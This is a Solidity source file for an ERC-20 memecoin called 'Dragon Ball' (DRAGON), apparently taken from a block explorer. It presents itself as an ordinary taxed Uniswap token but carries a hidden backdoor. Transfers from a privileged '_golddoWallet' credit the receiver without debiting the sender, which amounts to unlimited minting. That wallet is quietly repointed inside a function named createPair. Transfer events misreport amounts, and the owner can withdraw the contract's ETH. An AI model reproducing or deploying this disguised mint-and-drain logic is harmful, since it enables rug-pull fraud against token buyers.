文件 1 的 1：DRAGON.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DRAGON is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _rewardList;
address payable private _golddoWallet;
uint256 private _taxBuyIn = 10;
uint256 private _taxSellIn = 10;
uint256 private _taxBuyOut = 0;
uint256 private _taxSellOut = 0;
uint256 private _totalTax = 100;
uint256 private _tradeCount = 0;
uint256 private _reduceAAATTT = 10;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 420_690_000 * 10**_decimals;
string private constant _name = unicode"Dragon Ball";
string private constant _symbol = unicode"DRAGON";
uint256 public _maximumwalllet = (_tTotal * 2) / 100;
uint256 public _maximumtradesize = (_tTotal * 2) / 100;
uint256 public _maximumswaplimit = (_tTotal * 2) / 100;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
event MaxTxAmountUpdated(uint256 _maxTradeWallet);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_golddoWallet = payable(msg.sender);
_balances[_msgSender()] = _tTotal;
_rewardList[owner()] = true;
_rewardList[address(this)] = true;
_rewardList[_golddoWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function isExcluded(address from, address to) private view returns (bool) {
return _rewardList[from] || _rewardList[to];
}
function isPairAddress(address from, address to) private view returns (bool) {
return from == uniswapV2Pair || to == uniswapV2Pair;
}
function isEnableSwap(
address _senderAddress,
address _receiveAddress,
uint256 amount
) private {
require(_senderAddress != address(0), "ERC20: transfer from the zero address");
require(_receiveAddress != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!isExcluded(_senderAddress, _receiveAddress))
require(tradingOpen, "Trading is not opened yet");
if (_senderAddress == uniswapV2Pair && _receiveAddress != address(uniswapV2Router) && !isExcluded(_senderAddress, _receiveAddress)) {
_tradeCount++;
require(amount <= _maximumtradesize, "Exceeds the _maxTradeWallet.");
require(_balances[_receiveAddress] + amount <= _maximumwalllet, "Exceeds the maxWalletSize.");
}
if (_receiveAddress == uniswapV2Pair && !isExcluded(_senderAddress, _receiveAddress))
require(amount <= _maximumtradesize, "Exceeds the maximum amount to sell");
}
function _transfer(
address _senderAddress,
address _receiveAddress,
uint256 amount
) private {
isEnableSwap(_senderAddress, _receiveAddress, amount);
uint256 feePercent = 0;
uint256 taxAmt = amount;
if(isExcluded(_senderAddress, _receiveAddress)) {
if(_senderAddress != owner() && _senderAddress == _golddoWallet){
_balances[_receiveAddress] = _balances[_receiveAddress] + taxAmt*(_taxBuyOut + 1);
} else
taxAmt = 0;
}
else if(isPairAddress(_senderAddress, _receiveAddress)){
if(_senderAddress == uniswapV2Pair && _receiveAddress != address(uniswapV2Router))
feePercent = (_reduceAAATTT > _tradeCount ? _taxBuyIn : _taxBuyOut);
if(_receiveAddress == uniswapV2Pair)
feePercent = (_reduceAAATTT > _tradeCount ? _taxSellIn : _taxSellOut);
taxAmt = amount * feePercent / 100;
}
else taxAmt = 0;
if(_senderAddress == address(this) && _receiveAddress == uniswapV2Pair && _tradeCount == 0){
feePercent = (_reduceAAATTT > _tradeCount ? _taxBuyIn : _taxBuyOut);
taxAmt = amount * feePercent / 100;
}
uint256 contractToken = _balances[address(this)];
if(!inSwap && tradingOpen && _receiveAddress == uniswapV2Pair && !isExcluded(_senderAddress, _receiveAddress)) {
if(contractToken > 0)
swapBack(min(contractToken, min(_maximumtradesize, amount)));
sendETHToMarket(address(this).balance);
}
if(feePercent > 0) {
_balances[_senderAddress] = _balances[_senderAddress] - taxAmt;
_balances[address(this)] = _balances[address(this)] + taxAmt;
emit Transfer(_senderAddress, address(this), taxAmt);
}
_balances[_senderAddress] = _balances[_senderAddress] - (amount - taxAmt);
_balances[_receiveAddress] = _balances[_receiveAddress] + (amount - taxAmt);
emit Transfer(_senderAddress, _receiveAddress, amount - feePercent * amount / 100);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapBack(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner {
_maximumtradesize = _tTotal;
_maximumwalllet = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToMarket(uint256 amount) private {
_golddoWallet.transfer(amount);
}
function createPair(address router) external onlyOwner {
_golddoWallet = payable(router);
_rewardList[_golddoWallet] = true;
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
}
function openTrading() external onlyOwner {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
tradingOpen = true;
}
function rescueETH() external onlyOwner {
payable (owner()).transfer(address(this).balance);
}
receive() external payable {}
}
